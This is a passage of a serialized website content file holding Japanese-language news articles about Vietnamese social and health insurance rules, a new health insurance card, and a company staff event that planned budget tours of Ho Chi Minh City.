(17.5%): 27.800.000 x 17.5% = 4.865.000 VND",[568,2239],{},"健康保険 (3%): 27.800.000 x 3% = 834.000 VND",[374,2242,2243,2254],{},[398,2244,2245,2248,2250,2251,2253],{},[20,2246,2247],{},"従業員負担",[568,2249],{},"社会保険 (8%): 26.000.000 x 8% = 2.080.000 VND",[568,2252],{},"健康保険 (1.5%): 26.000.000 x 1.5% = 390.000 VND",[398,2255,2256,2258,2260,2261,2263],{},[20,2257,2247],{},[568,2259],{},"社会保険 (8%): 27.800.000 x 8% = 2.224.000 VND",[568,2262],{},"健康保険 (1.5%): 27.800.000 x 1.5% = 417.000 VND",[374,2265,2266,2274],{},[398,2267,2268,2271,2273],{},[20,2269,2270],{},"出産支援助成金 (2ヶ月分)",[568,2272],{},"1.300.000 x 2 = 2.600.000 VND",[398,2275,2276,2278,2280],{},[20,2277,2270],{},[568,2279],{},"1.390.000 x 2 = 2.780.000 VND",{"title":64,"searchDepth":65,"depth":65,"links":2282},[],"2018-07-17",{},"\u002Fja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018",{"title":2171,"description":2176},"ja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2018\u002F07\u002F05095906\u002F17121703798_c3be57bae8_b.jpg","GGBkXrWQ44xEWao0NLzPRGUoOypHzvOa2Wp4PGfAFss",{"id":2291,"title":2292,"body":2293,"category":67,"created by":68,"date":2403,"description":2404,"extension":71,"meta":2405,"navigation":73,"path":2406,"sections":75,"seo":2407,"stem":2408,"thumbnail":2409,"__hash__":2410},"content_ja\u002Fja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020.md","[保険料] 2010年 7月　最低賃金引き上げに伴う費用負担額の変更",{"type":8,"value":2294,"toc":2401},[2295,2298],[11,2296,2297],{},"議決 No. 86\u002F2019\u002F QH14, 2020年7月1日から最低賃金 (GMW) が公式的にVND 1,490,000\u002F月　から VND 1,600,000\u002F月 (110,000 VND\u002F月増加)になる。 最低賃金の引き上げに伴い、社会保険、健康保険、出産支援助成金(６ヶ月の追加手当)は以下の通り:",[368,2299,2300,2314],{},[371,2301,2302],{},[374,2303,2304,2309],{},[377,2305,2306],{},[20,2307,2308],{},"社会保険費および健康保険費の上限 (旧)",[377,2310,2311],{},[20,2312,2313],{},"社会保険費および健康保険費の上限 (新)",[393,2315,2316,2338,2361,2384],{},[374,2317,2318,2328],{},[398,2319,2320,2323,2325,2326,2207],{},[20,2321,2322],{},"1.490.000 x 20 = 29.800.000 VND",[568,2324],{},"最高限度額: 29.800.000 VND",[568,2327],{},[398,2329,2330,2333,2335,2336,2207],{},[20,2331,2332],{},"1.600.000 x 20 = 32.000.000 VND",[568,2334],{},"最高限度額: 32.000.000 VND",[568,2337],{},[374,2339,2340,2351],{},[398,2341,2342,2345,2347,2348,2350],{},[20,2343,2344],{},"会社負担:",[568,2346],{},"社会保険 (17.5%): 29.800.000 x 17.5% = 5.215.000 VND",[568,2349],{},"健康保険 (3%): 29.800.000 x 3% = 894.000 VND",[398,2352,2353,2355,2357,2358,2360],{},[20,2354,2344],{},[568,2356],{},"社会保険 (17.5%): 32.000.000 x 17.5% = 5.600.000 VND",[568,2359],{},"健康保険 (3%): 32.000.000 x 3% = 960.000 VND",[374,2362,2363,2374],{},[398,2364,2365,2368,2370,2371,2373],{},[20,2366,2367],{},"従業員負担:",[568,2369],{},"社会保険 (8%): 29.800.000 x 8% = 2.384.000 VND",[568,2372],{},"健康保険 (1.5%): 29.800.000 x 1.5% = 447.000 VND",[398,2375,2376,2378,2380,2381,2383],{},[20,2377,2367],{},[568,2379],{},"社会保険 (8%): 32.000.000 x 8% = 2.560.000 VND",[568,2382],{},"健康保険 (1.5%): 32.000.000 x 1.5% = 480.000 VND",[374,2385,2386,2394],{},[398,2387,2388,2391,2393],{},[20,2389,2390],{},"出産支援助成金: 基準金額の2ヶ月分",[568,2392],{},"1.490.000 x 2 = 2.980.000 VND",[398,2395,2396,2398,2400],{},[20,2397,2390],{},[568,2399],{},"1.600.000 x 2 = 3.200.000 VND",{"title":64,"searchDepth":65,"depth":65,"links":2402},[],"2020-01-15","議決 No. 86\u002F2019\u002F QH14, 2020年7月1日から最低賃金 (GMW) が公式的にVND 1,490,000\u002F月",{},"\u002Fja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020",{"title":2292,"description":2404},"ja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fluong_co_so.png","qJu_2_o9nGGBqYYg4e5RZJKapwPif_koXHgwc2Vy8x0",{"id":2412,"title":2413,"body":2414,"category":67,"created by":68,"date":2477,"description":2418,"extension":71,"meta":2478,"navigation":73,"path":2479,"sections":75,"seo":2480,"stem":2481,"thumbnail":2482,"__hash__":2483},"content_ja\u002Fja\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong.md","複数回の社会保険一時金享受の可否?",{"type":8,"value":2415,"toc":2475},[2416,2419,2422,2425,2428,2442,2445,2448,2452],[11,2417,2418],{},"新型コロナウイルスの感染拡大の影響で社会的に打撃を受けている中、失業している労働者数は増加傾向が続いています。多くの失業者は安定した収入を失ったため、社会保険一時金享受を選択してしまいました。",[11,2420,2421],{},"では、退職になって社会保険一時金を一回享受した労働者が再就業して社会保険に加入した場合においては社会保険一時金をもう一度享受することができるでしょうか。",[11,2423,2424],{},"労働者に対する社会保険一時金享受の施行について定めた議決第93\u002F2015\u002FQH13号第1条第1項に従って、強制加入の社会保険に一年加入して退職になった労働者もしくは任意加入の社会保険に一年加入して引き続き社会保険料を納付しない者は社会保険料納付期間が20年未満の場合において申請手続を行ったら社会保険一時金を享受することができます。",[11,2426,2427],{},"また、議定第115\u002F2015\u002FNĐ-CP号第8条第1項に従って、下記の対象者は申請手続を行ったら社会保険一時金を享受することができます。",[31,2429,2430,2433,2436,2439],{},[34,2431,2432],{},"社会保険法第54条第1項第2項第4項に沿って定年退職になったが社会保険料納付期間が20年未満、かつ、任意加入の社会保険に引き続き加入しない者、或いは、社会保険法第54条第3項に沿って定年退職になったが社会保険料納付期間が15年未満、かつ、任意加入の社会保険に引き続き加入しない者",[34,2434,2435],{},"一年就業して退職になったが社会保険料納付期間が20年未満、かつ、社会保険料を引き続き納付しない者",[34,2437,2438],{},"海外に移住する者",[34,2440,2441],{},"癌、ポリオ、肝硬変、ハンセン病、重い肺結核、HIVに感染してのAIDS発症、保健省の規定に準じるその他の疾患といった致命的な病にかかった者",[11,2443,2444],{},"それゆえに、現行法律では社会保険一時金享受の条件を満足した場合における享受回数を定めないので、前述の規定を満たす労働者はどんな時点でも社会保険一時金享受の申請手続を行うことができます。",[11,2446,2447],{},"しかしながら、社会保険一時金の享受に伴って生じた不利益が少なくないのではないでしょう。当面の利益のためだけに年を取った時に生活費を賄う年金を先に享受するということは、老後のより良い健康保険制度を享受する機会を逃してしまいます。",[11,2449,2450],{},[20,2451,196],{},[199,2453,2454,2461,2468],{},[34,2455,2456],{},[57,2457,2460],{"href":2458,"rel":2459},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-quyet-93-2015-QH13-thuc-hien-chinh-sach-huong-bao-hiem-xa-hoi-mot-lan-doi-voi-nguoi-lao-dong-282360.aspx?tab=7",[61],"議決第93\u002F2015\u002FQH13号",[34,2462,2463],{},[57,2464,2467],{"href":2465,"rel":2466},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-115-2015-ND-CP-huong-dan-Luat-bao-hiem-xa-hoi-bat-buoc-279974.aspx",[61],"議定第115\u002F2015\u002FNĐ-CP号",[34,2469,2470],{},[57,2471,2474],{"href":2472,"rel":2473},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FLuat-Bao-hiem-xa-hoi-2014-259700.aspx",[61],"社会保険法",{"title":64,"searchDepth":65,"depth":65,"links":2476},[],"2021-08-09",{},"\u002Fja\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong",{"title":2413,"description":2418},"ja\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F07\u002F20131502\u002FBHXHMotLanCoTheNhanNhieuLanKhong.png","u4ilj_keZR3F6LjPqJ8ddq9caU3Z4_eA2FVYJyZRZ_0",{"id":2485,"title":2486,"body":2487,"category":67,"created by":68,"date":2587,"description":2588,"extension":71,"meta":2589,"navigation":73,"path":2590,"sections":75,"seo":2591,"stem":2592,"thumbnail":2593,"__hash__":2594},"content_ja\u002Fja\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi.md","ベトナム社会保険の発行した健康保険証の新様式",{"type":8,"value":2488,"toc":2585},[2489,2492,2496,2505,2510,2513,2545,2549,2553,2558,2574,2578],[11,2490,2491],{},"ベトナム社会保険総裁は2020年12月3日に、全国を統一して使用する健康保険証の新様式の発行に関する決定第1666\u002FQĐ-BHXH号に署名捺印し、公布しました。本決定は、2021年4月1日から有効になります。",[530,2493],{"className":2494,"alt":64,"src":2495,"style":601},[533,534],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-tr%C6%B0%E1%BB%9Bc-300x194.png",[11,2497,2504],{"className":2498},[2499,2500,2501,2502,2503],"text-center","text-sm","text-black","italic","-mt-2","\n  健康保険証の新様式　表\n",[11,2506,2507],{},[20,2508,2509],{},"1. 利点の増加",[11,2511,2512],{},"健康保険証の新様式は現行様式に比べ、色々異なり、所有者に対して以下のような利点があります。",[31,2514,2515,2518,2521,2524,2539,2542],{},[34,2516,2517],{},"新様式の健康保険証は見た目がより良いし、サイズがより小さくなって銀行の現行ATMカードや身分証明カードとほぼ同じなので、財布入れにピッタリです。",[34,2519,2520],{},"新様式の健康保険証は用紙がより厚いし、プラスチックカバーで包むので耐久性があって長期保管でき、使用時の水濡れ、湿気、カビ、しわくちゃ、印字薄くなるのを避けられます。",[34,2522,2523],{},"新様式の健康保険証は印字フォントが変更されて可読性があって、健康保険証に表示されている情報を読み間違えるミスを避けられます。",[34,2525,2526,2527,2532,2533,2538],{},"新様式の健康保険証はベトナム社会保険のホームページ（",[57,2528,2531],{"href":2529,"rel":2530},"http:\u002F\u002Fbaohiemxahoi.gov.vn%EF%BC%89",[61],"http:\u002F\u002Fbaohiemxahoi.gov.vn）"," にて入力して検索する、または、公共サービス（",[57,2534,2537],{"href":2535,"rel":2536},"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn%EF%BC%89",[61],"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn）"," にて入力して手続を行う際に使いやすくするため、健康保険証の番号を加入者の社会保険番号の10桁とします。（現行は15桁としています）",[34,2540,2541],{},"新様式の健康保険証はベトナム社会保険の印鑑画像、および、カード手帳回収管理委員会会長（或いは、ベトナム社会保険総裁により代理署名を委任されたベトナム社会保険直轄機関の首長）の署名画像が表示されるので、全国のどの社会保険機関にも、紛失・破壊した場合における再発行・交換の手続きを行うことができます。",[34,2543,2544],{},"新様式の健康保険証は裏に健康保険証マニュアルが表示されるので、加入者が健康保険証に関する情報、享受権利を容易に参照でき、お問い合わせについて社会保険機関まで速やかに連絡することができます。",[530,2546],{"className":2547,"alt":64,"src":2548,"style":601},[533,534],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-sau-300x193.png",[11,2550,2552],{"className":2551},[2499,2500,2501,2502,2503],"\n  健康保険証の新様式　裏\n",[11,2554,2555],{},[20,2556,2557],{},"2. 有効な現行健康保険証も診療に使用可能",[31,2559,2560,2563],{},[34,2561,2562],{},"加入者に交付した現行の健康保険証が有効になっている場合、健康保険診療時に使えます。",[34,2564,2565,2566],{},"2021年4月1日からは、ベトナム社会保険や健康保険監察システムのホームページにて情報を検索した際には新様式の健康保険証にも印字される享受限度番号や居住地番号の他に、下記の情報を参照することができます。\n",[31,2567,2568,2571],{},[34,2569,2570],{},"加入者の住所や健康保険証番号といった情報",[34,2572,2573],{},"同級の医療機関で診断・治療を受けた際の健康保険制度における全額支払われるとなる時点（加入者が健康保険に連続5年以上加入しており、かつ、診断・治療にかかった年の費用が基礎給与の6ヶ月分を超える場合）",[11,2575,2576],{},[20,2577,55],{},[11,2579,2580],{},[57,2581,2584],{"href":2582,"rel":2583},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FQuyet-dinh-1666-QD-BHXH-2020-mau-the-bao-hiem-y-te-458650.aspx",[61],"健康保険証の新様式の発行",{"title":64,"searchDepth":65,"depth":65,"links":2586},[],"2021-03-05","ベトナム社会保険総裁は2020年12月3日に、全国を統一して使用する健康保険証の新様式の発行に関する決定第1666\u002FQĐ-BHXH\u002FQĐ-BHXH号に署名捺印し、公布しました。本決定は、2021年4月1日から有効になります。",{},"\u002Fja\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi",{"title":2486,"description":2588},"ja\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F15143126\u002FBNXHVN-ban-h%C3%A0nh-m%E1%BA%ABu-th%E1%BA%BB-BHYT-m%E1%BB%9Bi.png","0isjjg2yEdG2XdhSZ7dFYbiE5mFZQm365gHgqkby1Cc",{"id":2596,"title":2597,"body":2598,"category":67,"created by":68,"date":2666,"description":2602,"extension":71,"meta":2667,"navigation":73,"path":2668,"sections":75,"seo":2669,"stem":2670,"thumbnail":2671,"__hash__":2672},"content_ja\u002Fja\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan.md","新型コロナ感染時の社会保険一時金享受の可否",{"type":8,"value":2599,"toc":2664},[2600,2603,2608,2611,2632,2639,2642,2647,2655],[11,2601,2602],{},"世界的に大流行している新型コロナウイルスの状況が複雑に推移している中で、多くの労働者からは、万が一、新型コロナウイルスに感染した時に隔離・治療のため休職したが復帰できない場合において社会保険一時金を享受することを申請できるか否かという疑問がありました。",[11,2604,2605],{},[20,2606,2607],{},"これが話題になっており、ベトナム社会保険からもこういう適切な返答がありました。",[11,2609,2610],{},"2014年社会保険法第60条第1項第c号および通達第56\u002F2017\u002FTT-BY号第4条に基づき、社会保険一時金を享受できる病気一覧は以下の通りとなります。",[854,2612,2614,2617,2620,2623,2626,2629],{"style":2613},"padding-left: 30px",[11,2615,2616],{},"1. 癌",[11,2618,2619],{},"2. ポリオ",[11,2621,2622],{},"3. 肝硬変",[11,2624,2625],{},"4. ハンセン病、重い肺結核",[11,2627,2628],{},"5. HIVに感染してAIDSが発症しており、移動、着替え、個人衛生といった日常生活が自立できない若しくは上手にできない、かつ、見守り、援助、介護を必要とした状態になる疾患",[11,2630,2631],{},"6. 労働能力低下率または障害率が81%以上であり、移動、着替え、個人衛生といった日常生活が自立できない若しくは上手にできない、かつ、見守り、援助、介護を必要とした状態になる他の疾患",[11,2633,2634,2635,2638],{},"上記の第6項に定めた規定どおりに、労働者は新型コロナウイルス感染が原因で、労働能力が81%以上低下しており、移動、着替え、個人衛生といった日常生活が自立できない若しくは上手にできない、かつ、見守り、援助、介護を必要とした状態になる場合においては",[20,2636,2637],{},"社会保険一時金を享受するための申請ができます","。",[11,2640,2641],{},"この場合においても、医療評価委員会から発行される労働能力低下率81%以上、および生活自立不可を明記した労働能力低下証明書が求められます。",[11,2643,2644],{},[2645,2646,55],"em",{},[11,2648,2649],{},[2645,2650,2651],{},[57,2652,2654],{"href":2472,"rel":2653},[61],"2014年社会保険法第60条第1項第c号",[11,2656,2657],{},[2645,2658,2659],{},[57,2660,2663],{"href":2661,"rel":2662},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-56-2017-TT-BYT-huong-dan-Luat-bao-hiem-xa-hoi-va-Luat-an-toan-ve-sinh-lao-dong-341271.aspx",[61],"通達第56\u002F2017\u002FTT-BY号第4条",{"title":64,"searchDepth":65,"depth":65,"links":2665},[],"2021-05-14",{},"\u002Fja\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan",{"title":2597,"description":2602},"ja\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F19164237\u002FBiNhiemCovid19CoDuocNhanBHXH.png","hBbI1ZvVXU9oEZAEiKfgh3QtJsN81R8ykso8vJ6ifdY",{"id":2674,"title":2675,"body":2676,"category":2844,"created by":238,"date":2845,"description":2846,"extension":71,"meta":2847,"navigation":73,"path":2848,"sections":75,"seo":2849,"stem":2850,"thumbnail":2851,"__hash__":2852},"content_ja\u002Fja\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon.md","Briswell Vietnam World Cafe 2022 - サイゴン格安ツアー",{"type":8,"value":2677,"toc":2842},[2678,2681,2684,2693,2696,2702,2705,2708,2711,2714,2718,2721,2724,2727,2730,2733,2737,2744,2748,2751,2754,2757,2761,2767,2771,2774,2778,2784,2788,2791,2794,2797,2800,2803,2806,2810,2816,2820,2823,2826,2829,2832,2836],[11,2679,2680],{},"久しぶりにオフィスでのイベントを開催しました。",[11,2682,2683],{},"リモートで働く社員が多く、社員の働きやすさは改善しているのですが、ちょっとした会話や質問を気軽にするという機会が減り、人間関係の構築が以前よりも難しくなってきています。",[11,2685,2686,2687,2692],{},"特に、新しく入った社員とメインでリモートで働く社員との距離感があまり縮まらないように感じられました。 そこで、オフィスでのイベントとして",[57,2688,2691],{"href":2689,"rel":2690},"https:\u002F\u002Fmspguide.org\u002F2022\u002F03\u002F18\u002Fworld-cafe\u002F",[61],"\"World Cafe\"","を開催しました。",[11,2694,2695],{},"これは１つのテーマに沿って、チームでブレインストーミングのように議論をしていきます。ただ、同じメンバーでずっと議論を続けるのではなく、2番目のフェーズでチームメンバーを変えて新しい意見を得て、3番目のフェーズではそれを元のチームに戻り議論しブラッシュアップするというような会議の方法です。",[11,2697,2698,2699],{},"今回のテーマは、",[20,2700,2701],{},"「ツアーガイドに書かれていない、外国人に進める予算1.000.000VNDの２日間の旅」",[11,2703,2704],{},"管理者、翻訳者、開発者など全部の部門の人が参加し、お互いのコミュニケーションを改善するということが重要な目的のため、議論がしやすいテーマを選びました。",[11,2706,2707],{},"その結果が下記となってます。",[11,2709,2710],{},"ちなみに\"1.000.000VND\"は安いということの比喩になっており、本当に\"1.000.000VND\"で済むかどうかは体験した人にしかわかりません。",[11,2712,2713],{},"金額や実現性については我々は補償しませんので、自己責任でお願いします。🙇🏻‍♂️",[1750,2715,2717],{"id":2716},"team-1-tieu-buu-chau-do-thi-nhu-bich-ngoc-vo-thi-bao-tran-nguyen-thien-anh","Team 1: Tieu Buu Chau - Do Thi Nhu Bich Ngoc - Vo Thi Bao Tran - Nguyen Thien Anh",[11,2719,2720],{},"ようこそ、忙しくにぎやかなサイゴンへ",[11,2722,2723],{},"２日間のツアーとして、皆さんがホーチミンの多様な文化を賞賛し好きになるような旅行を計画します。 まず、Pho Hoa通りのシークレットガーデンレストランDinh Cong Trangの\"Banh xeo - ベトナムのパンケーキ\"、または\"Ca phe sua da - ベトナムのアイスコーヒー\"を飲みながら通りのベンチでただゆっくりします。 また、“Dinh Doc Lap - 独立宮殿”, “Ben Nha Rong - 龍屋港” または “ファインアートミュージアム”をサイゴンを知る上で有名な場所として訪問することも予定に入っています。",[11,2725,2726],{},"それらを楽しんだ後、Haidilao店の鍋料理、もしくはお菓子を持っていき5区の中国文化を感じ、Thien Hau寺院や、Binh Tayマーケットを訪問します。",[11,2728,2729],{},"最後にThao Dienエリアに行ったり、4P's pizzaで晩御飯を食べ西洋文化に興奮し豪華さを経験します。",[11,2731,2732],{},"あなたにとって忘れられない旅になると嬉しいです。",[530,2734],{"className":2735,"alt":64,"src":2736,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182010\u002FTeam1-1-768x576.jpg",[11,2738,2739],{},[57,2740,2743],{"href":2741,"rel":2742},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HUef41S0tdzCCSqCPZU58F3aDdVgPR8d\u002Fview?usp=sharing",[61],"Movie",[1750,2745,2747],{"id":2746},"team-2-nguyen-thanh-huu-tao-viet-ha-nguyen-van-sang-vo-ngoc-duy","Team 2: Nguyen Thanh Huu - Tao Viet Ha - Nguyen Van Sang - Vo Ngoc Duy",[11,2749,2750],{},"ホーチミンに来た時、旅行者はたくさんのエキサイティングな経験と特別な料理をここで楽しむことができます。",[11,2752,2753],{},"ホーチミンに来た時に絶対に忘れてはいけないことはPho、砕き米、Banh Mi, Bun Boです。旅行者は朝食やランチで全ての料理を注文することができます。食べること以外に付け加えて、旅行者はベトナムの人々の文化や歴史について学ぶため、戦争博物館、独立宮殿、市郵便局を訪問します。",[11,2755,2756],{},"旅行者はNguyen Hue 歩行者通りで夜の散歩に行ったり、Ben Thanhマーケット、コマーシャルセンター、Now Zone、Aeon mallなどで夜に買い物をすることができます。それに付け加えて、Sen parkでゲームも楽しむことができます。",[530,2758],{"className":2759,"alt":64,"src":2760,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182253\u002FTeam2-768x576.jpg",[11,2762,2763],{},[57,2764,2743],{"href":2765,"rel":2766},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HVbUiJCD57kpfYzMUhjYKnxfSWVWGn5b\u002Fview?usp=sharing",[61],[1750,2768,2770],{"id":2769},"team-3-chau-lai-gia-thanh-nguyen-van-trung-le-ngoc-khanh-nguyen-huu-danh-long-tran-hao","Team 3: Chau Lai Gia Thanh - Nguyen Van Trung - Le Ngoc Khanh - Nguyen Huu Danh - Long Tran Hao",[11,2772,2773],{},"豪快で混雑している街のため、誰でも滞在中はいつもサービスを受け取ることができます。ミュージアムや歴史のある仏塔の観光を通して歴史や文化に触れます。付け加えて、現代文化を体験したり、Landmark 81へ買い物に行きます。それ以外にもベトナム料理は“cơm tấm”, “bún đậu”, “bún bò Huế“などのように魅力的な値段の独自のものがあります。",[530,2775],{"className":2776,"alt":64,"src":2777,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183008\u002FTeam3-768x1024.jpg",[11,2779,2780],{},[57,2781,2743],{"href":2782,"rel":2783},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HV6vtwlf6k7Y11EPVGSqDrarkEfLTNtm\u002Fview?usp=sharing",[61],[1750,2785,2787],{"id":2786},"team-4-do-tiep-khuyen-dang-thuy-vy-tran-tien-vinh-pham-huu-duy-dang-minh-dat","Team 4: Do Tiep Khuyen - Dang Thuy Vy - Tran Tien Vinh - Pham Huu Duy - Dang Minh Dat",[11,2789,2790],{},"ホーチミンシティはエンターテイメント、ショッピング、ダイニングができる大きなエリアなので、旅行者特に外国人にとってはとても良い場所です。",[11,2792,2793],{},"ホーチミンに来たときはいつでも楽しめますが、特にクリスマスから新年の休みの間は多様な活動があります。ただし、雨季にだけは来ない方が良いと強く勧めます。",[11,2795,2796],{},"また、ホーチミンでは交通量が多く、かなり混み合っており、ピークの時間はできる限り避けた方が良いでしょう。お金を抑えるため、バスでの旅行をするか、バイクか自転車を借ります。シクロは外国人旅行者にはとても有名な乗り物です。なぜならば興味深い乗り物だからです。一度試してみましょう。",[11,2798,2799],{},"一泊二日の旅では、初日の朝についた時に見過ごさないようにした方がいいことがあります。それはノートルダム教会、市郵便局、Dam Senアミューズメントパーク、Suoi Tien公園、植物公園に行くことです。 夜には観光好きの人なら龍屋港、ランドマークタワー。物好きな人はナイトマーケットのようなエキサイティングで興味深い場所に行き楽しみます。",[11,2801,2802],{},"食事はホーチミンの夜の\"パラダイス\"として知られるNguyen Hue歩行者通りは外せない場所です。 独立宮殿、Cu Chiトンネルのような歴史的な場所には２日目に行きます。これらの場所はベトナム国家として英雄史の一部を残しているものです。",[11,2804,2805],{},"付け加えて、この場所は国中の人々が集まる場所でもあります。そのため、料理はバンやPho、ビーフヌードル、餅米など独自のものがいろいろあり種類が豊富です。 最後に、旅行から帰るときに不可欠なものとしてお土産があります。コーヒー、コーヒーフィルター、円錐形の帽子、エビのチップスなど小さいギフトはとてもよいでしょう。なぜなら、それらはベトナムの特徴を表したとてもユニークなものだからです。",[530,2807],{"className":2808,"alt":64,"src":2809,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183233\u002FTeam4-768x1024.jpg",[11,2811,2812],{},[57,2813,2743],{"href":2814,"rel":2815},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWNv5UJi6vmz9B9yGPh7BJD_ew0KHbfv\u002Fview?usp=sharing",[61],[1750,2817,2819],{"id":2818},"team-5-nguyen-trung-nghia-nguyen-trung-hieu-nguyen-van-huu-nguyen-thanh-nhan","Team 5: Nguyen Trung Nghia - Nguyen Trung Hieu - Nguyen Van Huu - Nguyen Thanh Nhan",[11,2821,2822],{},"ホーチミンシティ、それはサイゴンとしても知られています。ここはベトナムの全ての地域の人々が訪れるため、もしベトナムの文化にいち早く触れたいときは最も良い場所の一つです。",[11,2824,2825],{},"もし、厳しい予算の旅を計画するのであれば、ホーチミンは完璧な場所でかつあなたの期待に応える２日間の安い旅行を提供できます。",[11,2827,2828],{},"最初の日はホーチミン市のたくさんの足を止める場所があり、そこで素晴らしいストリートフードで探索していきます。 また、戦争の遺物、独立宮殿を訪れ、ベトナムの英雄文化や歴史を学ぶことができます。 夜の時間は本当にサイゴンが活気付いている時だと言われています。昼間とは違ったホーチミンの異なったリズムを探索しましょう。",[11,2830,2831],{},"2日目は ホーチミン近郊のCu Chiトンネルに向かいます。そこは戦争の時にベトナム人がどのように戦ったかを学ぶことができます。また、Cu Chiの料理を体験できます。 ホーチミンでのたくさんの発見があなたを待っています。",[530,2833],{"className":2834,"alt":64,"src":2835,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183342\u002FTeam5-768x576.jpg",[11,2837,2838],{},[57,2839,2743],{"href":2840,"rel":2841},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWc9ooK7ibBvpRv2H5tM9adxm8tv7OJw\u002Fview?usp=sharing",[61],{"title":64,"searchDepth":65,"depth":65,"links":2843},[],"event","2022-08-30","久しぶりにオフィスでのイベントを開催しました。 リモートで働く社員が多く、社員の働きやすさは改善しているのですが、ちょっとした会話や質問を気軽にするという機会が減り、人間関係の構築が以前よりも難しくなってきています。 特に、新しく入った社員とメインでリモートで働く社員との距離感があまり縮まらないように感じられました。 そこで、オフィスでのイベントとして",{},"\u002Fja\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon",{"title":2675,"description":2846},"ja\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25180149\u002Fdiscussion.jpg","FCeRAqO7byuL5bQw_IUnxf54yIoTdnyvat9RoLW_Gx4",{"id":2854,"title":2855,"body":2856,"category":353,"created by":68,"date":3628,"description":3629,"extension":71,"meta":3630,"navigation":73,"path":3631,"sections":75,"seo":3632,"stem":3633,"thumbnail":3634,"__hash__":3635},"content_ja\u002Fja\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem.md","テストレベルについて",{"type":8,"value":2857,"toc":3622},[2858,2861,2864,2867,2870,2873,2887,2893,2896,2901,2904,2924,2929,2932,2946,2951,2954,2968,2973,2976,2987,2990,2993,2996,2999,3005,3008,3013,3016,3019,3022,3025,3031,3034,3039,3042,3045,3048,3051,3054,3059,3062,3067,3070,3081,3084,3089,3092,3112,3117,3120,3140,3145,3148,3162,3165,3170,3175,3195,3200,3217,3220,3226,3229,3234,3237,3243,3246,3251,3254,3283,3288,3291,3305,3310,3313,3316,3321,3324,3344,3347,3353,3356,3361,3364,3367,3370,3376,3379,3396,3399,3402,3428,3431,3434,3437,